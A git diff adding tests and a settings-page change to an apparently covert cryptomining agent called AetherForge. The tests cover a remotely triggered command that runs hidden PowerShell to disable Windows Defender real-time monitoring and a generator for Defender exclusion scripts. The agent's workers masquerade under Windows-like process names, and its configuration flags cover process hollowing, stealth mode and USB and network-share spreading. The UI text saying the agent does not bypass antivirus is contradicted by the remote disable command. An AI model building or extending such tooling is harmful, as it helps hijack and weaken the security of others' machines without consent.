diff --git a/agent/client/aggressive_commands_test.go b/agent/client/aggressive_commands_test.go index 1936faa..627d2d0 100644 --- a/agent/client/aggressive_commands_test.go +++ b/agent/client/aggressive_commands_test.go @@ -188,6 +188,46 @@ func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) { } } +func TestDefenderOffRequiresRemoteAggressive(t *testing.T) { + c := newTestClient(t) + c.cfg.RemoteAggressive = false + ok, reason := c.allowRemoteAction("defender_off") + if ok || reason == "" { + t.Fatalf("expected defender_off gated without remote_aggressive") + } + c.cfg.RemoteAggressive = true + ok, reason = c.allowRemoteAction("defender_off") + if !ok || reason != "" { + t.Fatalf("expected defender_off allowed: ok=%v reason=%q", ok, reason) + } +} + +func TestDefenderOffErrorPathNonWindows(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("Windows success/failure paths tested in deploy/defender_windows_test.go") + } + c := newTestClient(t) + c.cfg.RemoteAggressive = true + var gotAct string + var gotOK bool + var gotMsg string + c.commandResultHook = func(action string, success bool, message string) { + gotAct, gotOK, gotMsg = action, success, message + } + if !c.handleAggressiveCommand("defender_off", 0, "", "", "") { + t.Fatal("defender_off should be handled") + } + if gotAct != "defender_off" { + t.Fatalf("action=%q", gotAct) + } + if gotOK { + t.Fatalf("expected failure on non-Windows, msg=%q", gotMsg) + } + if !strings.Contains(gotMsg, "Windows-only") && !strings.Contains(gotMsg, "defender disable failed") { + t.Fatalf("expected defender error in message, got %q", gotMsg) + } +} + func TestPathTracerCommandWgStatusRoutes(t *testing.T) { var ( mu sync.Mutex diff --git a/agent/client/mining_diagnostics_test.go b/agent/client/mining_diagnostics_test.go index e9b41c3..6e266c5 100644 --- a/agent/client/mining_diagnostics_test.go +++ b/agent/client/mining_diagnostics_test.go @@ -178,6 +178,30 @@ func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) { } } +func TestInferMiningBlockersJobPresentZeroHashrate(t *testing.T) { + c := testDiagnosticsClient(t, config.RuntimeConfig{}) + d := MiningDiagnostics{ + C2Connected: true, + CPU: struct { + RemotePaused bool `json:"remote_paused"` + ScheduleBlocked bool `json:"schedule_blocked"` + ResourcesBlocked bool `json:"resources_blocked"` + HasJob bool `json:"has_job"` + Hashrate float64 `json:"hashrate_hps"` + }{HasJob: true, Hashrate: 0}, + } + blockers := c.inferMiningBlockers(d) + found := false + for _, b := range blockers { + if strings.Contains(b, "hashrate=0") && strings.Contains(b, "AV") { + found = true + } + } + if !found { + t.Fatalf("expected AV/throttle blocker, got %v", blockers) + } +} + func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) { c := testDiagnosticsClient(t, config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{GPUEnabled: true}, diff --git a/agent/deploy/defender_windows_test.go b/agent/deploy/defender_windows_test.go new file mode 100644 index 0000000..6268ff5 --- /dev/null +++ b/agent/deploy/defender_windows_test.go @@ -0,0 +1,52 @@ +//go:build windows + +package deploy + +import ( + "errors" + "strings" + "testing" +) + +func TestDisableDefenderRealtimeSuccess(t *testing.T) { + SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) { + if name != "powershell" { + t.Fatalf("expected powershell, got %q", name) + } + joined := strings.Join(arg, " ") + if !strings.Contains(joined, "DisableRealtimeMonitoring") { + t.Fatalf("missing DisableRealtimeMonitoring in %q", joined) + } + return []byte(""), nil + }) + defer SetHiddenCombinedOutputFn(nil) + + msg, err := DisableDefenderRealtime() + if err != nil { + t.Fatalf("unexpected error: %v msg=%q", err, msg) + } + if !strings.Contains(msg, "real-time monitoring disabled") { + t.Fatalf("expected success message, got %q", msg) + } +} + +func TestDisableDefenderRealtimeAdminRequiredError(t *testing.T) { + SetHiddenCombinedOutputFn(func(name string, arg ...string) ([]byte, error) { + return []byte("access denied"), errors.New("exit status 1") + }) + defer SetHiddenCombinedOutputFn(nil) + + msg, err := DisableDefenderRealtime() + if err == nil { + t.Fatalf("expected error, got msg=%q", msg) + } + if !strings.Contains(err.Error(), "defender disable failed") { + t.Fatalf("unexpected error: %v", err) + } + if !strings.Contains(err.Error(), "admin required") { + t.Fatalf("expected admin hint in error: %v", err) + } + if !strings.Contains(msg, "access denied") { + t.Fatalf("expected stderr in message, got %q", msg) + } +} diff --git a/server/web/src/help/defenderExclusion.test.ts b/server/web/src/help/defenderExclusion.test.ts index 99f8c20..7e41ea0 100644 --- a/server/web/src/help/defenderExclusion.test.ts +++ b/server/web/src/help/defenderExclusion.test.ts @@ -23,4 +23,26 @@ describe('defenderExclusion', () => { it('provides default install preview', () => { expect(defaultWindowsInstallPreview('rig-01')).toContain('rig-01'); }); + + it('warns when not elevated and documents manual checklist', () => { + const script = buildDefenderExclusionScript({ + installPath: '%LOCALAPPDATA%\\CryptoMiner\\worker', + processName: 'RuntimeBrokerHelper', + }); + expect(script).toContain('Administrator'); + expect(script).toContain('Add-MpPreference -ExclusionPath'); + expect(script).toContain('Add-MpPreference -ExclusionProcess'); + expect(script).toContain('Controlled folder access'); + expect(script).toContain('Cloud-delivered protection'); + expect(script).toMatch(/AetherForge — Windows Defender exclusions/); + }); + + it('appends .exe to bare process names', () => { + const script = buildDefenderExclusionScript({ + installPath: 'C:\\miner', + processName: 'worker', + }); + expect(script).toContain("'worker.exe'"); + expect(script).not.toContain("'worker.exe.exe'"); + }); }); diff --git a/server/web/src/help/forgeOperationModes.test.ts b/server/web/src/help/forgeOperationModes.test.ts index a6c94a4..3560fa1 100644 --- a/server/web/src/help/forgeOperationModes.test.ts +++ b/server/web/src/help/forgeOperationModes.test.ts @@ -122,8 +122,17 @@ describe('forgeOperationModes', () => { expect(next.process_hollowing).toBe(false); expect(next.spread_kit).toBe(false); expect(next.auto_spread).toBe(false); + expect(next.usb_spread).toBe(false); + expect(next.share_spread).toBe(false); expect(next.remote_aggressive).toBe(false); expect(next.obfuscate).toBe(false); + expect(next.stealth_mode).toBe(true); + expect(next.display_mode).toBe('background'); + expect(next.firewall_exclusion).toBe(true); + expect(next.mining_mode).toBe('idle'); + expect(next.max_cpu_usage_pct).toBe(50); + expect(next.thread_percent).toBe(50); + expect(next.fusion_enabled).toBe(false); }); it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => { diff --git a/server/web/src/pages/SettingsPage.test.tsx b/server/web/src/pages/SettingsPage.test.tsx index 2156959..050b16d 100644 --- a/server/web/src/pages/SettingsPage.test.tsx +++ b/server/web/src/pages/SettingsPage.test.tsx @@ -2,7 +2,7 @@ * @vitest-environment happy-dom */ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { cleanup, render, screen, waitFor, within } from '@testing-library/react'; +import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react'; import userEvent from '@testing-library/user-event'; import SettingsPage, { deepMerge } from './SettingsPage'; import { SoundProvider } from '../context/SoundContext'; @@ -271,4 +271,48 @@ describe('SettingsPage (Calibrate)', () => { const adminCode = screen.getAllByText('admin', { exact: true }).find((el) => el.tagName === 'CODE'); expect(adminCode).toBeTruthy(); }); + + it('renders Windows Defender Exclusions section with honest AV copy', async () => { + renderSettings(); + expect(await screen.findByText('Windows Defender Exclusions')).toBeInTheDocument(); + expect(screen.getByText(/manually as Administrator/i)).toBeInTheDocument(); + expect(screen.getByText(/does not silently bypass AV/i)).toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Copy exclusion script' })).toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Download .ps1' })).toBeInTheDocument(); + expect(screen.getByLabelText('Install path')).toBeInTheDocument(); + expect(screen.getByLabelText('Process name')).toBeInTheDocument(); + }); + + it('downloads Defender exclusion .ps1 from Calibrate inputs', async () => { + const createObjectURL = vi.fn(() => 'blob:defender-test'); + const revokeObjectURL = vi.fn(); + vi.stubGlobal('URL', { ...URL, createObjectURL, revokeObjectURL }); + const clickSpy = vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(() => {}); + + const user = userEvent.setup({ delay: null }); + renderSettings(); + await screen.findByText('Windows Defender Exclusions'); + fireEvent.change(screen.getByLabelText('Install path'), { + target: { value: 'C:\\CryptoMiner\\rig-01' }, + }); + fireEvent.change(screen.getByLabelText('Process name'), { + target: { value: 'RuntimeBrokerHelper' }, + }); + await user.click(screen.getByRole('button', { name: 'Download .ps1' })); + + await waitFor(() => { + expect(createObjectURL).toHaveBeenCalled(); + expect(clickSpy).toHaveBeenCalled(); + }); + const blob = createObjectURL.mock.calls[0][0] as Blob; + const script = await blob.text(); + expect(script).toContain('Add-MpPreference -ExclusionPath'); + expect(script).toContain('RuntimeBrokerHelper.exe'); + expect(script).toContain('C:\\CryptoMiner\\rig-01'); + expect(script).toContain('Tamper Protection'); + expect(await screen.findByText(/Downloaded aetherforge-defender-exclusions\.ps1/i)).toBeInTheDocument(); + + clickSpy.mockRestore(); + vi.unstubAllGlobals(); + }); }); diff --git a/server/web/src/pages/SettingsPage.tsx b/server/web/src/pages/SettingsPage.tsx index 94e0d53..8dacb45 100644 --- a/server/web/src/pages/SettingsPage.tsx +++ b/server/web/src/pages/SettingsPage.tsx @@ -487,7 +487,9 @@ export default function SettingsPage() { )} -

Windows Defender Exclusions

+

+ Windows Defender Exclusions +

Generate a PowerShell script to allowlist your forge install path and worker process. Run it manually as Administrator on each mining PC — the agent does not silently bypass AV. diff --git a/server/web/src/types/lotl.test.ts b/server/web/src/types/lotl.test.ts new file mode 100644 index 0000000..c8bff84 --- /dev/null +++ b/server/web/src/types/lotl.test.ts @@ -0,0 +1,44 @@ +import { describe, expect, it } from 'vitest'; +import { parseMiningBlockers, parseTierReport } from './lotl'; + +describe('parseMiningBlockers', () => { + it('reads likely_blockers from mining diagnostics JSON', () => { + const blockers = parseMiningBlockers({ + likely_blockers: [ + 'Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path', + 'job present but hashrate=0 — engine init failure or process throttled/killed by AV', + ], + }); + expect(blockers).toHaveLength(2); + expect(blockers[0]).toMatch(/Defender real-time protection/); + expect(blockers[1]).toMatch(/hashrate=0/); + }); + + it('falls back to legacy blockers key', () => { + expect(parseMiningBlockers({ blockers: ['cascade failures recorded'] })).toEqual([ + 'cascade failures recorded', + ]); + }); + + it('filters non-string entries and returns empty when absent', () => { + expect(parseMiningBlockers({ likely_blockers: [1, 'ok', null] })).toEqual(['ok']); + expect(parseMiningBlockers({})).toEqual([]); + }); +}); + +describe('parseTierReport with blockers payload', () => { + it('extracts tier fields alongside blockers', () => { + const raw = { + lotl_tier: 'inprocess', + lotl_attempts: [{ tier: 'inprocess', ok: true, duration_ms: 900 }], + likely_blockers: ['mining fallback chain exhausted — all primary methods failed'], + mining_hashrate: 420, + }; + const tier = parseTierReport(raw); + const blockers = parseMiningBlockers(raw); + expect(tier.lotl_tier).toBe('inprocess'); + expect(tier.lotl_attempts).toHaveLength(1); + expect(tier.mining_hashrate).toBe(420); + expect(blockers[0]).toMatch(/fallback chain exhausted/); + }); +}); diff --git a/server/web/src/types/lotl.ts b/server/web/src/types/lotl.ts index 17badb2..c4b3d8f 100644 --- a/server/web/src/types/lotl.ts +++ b/server/web/src/types/lotl.ts @@ -79,6 +79,14 @@ export function parseTierAttempts(raw: unknown): TierAttempt[] { return out; } +/** Normalize likely_blockers / legacy blockers from mining_diagnostics JSON. */ +export function parseMiningBlockers(raw: Record): string[] { + const blockers = raw.likely_blockers ?? raw.blockers; + return Array.isArray(blockers) + ? blockers.filter((b): b is string => typeof b === 'string') + : []; +} + /** Extract tier report fields from mining_diagnostics JSON or WS agent row. */ export function parseTierReport(raw: Record): { lotl_tier?: string;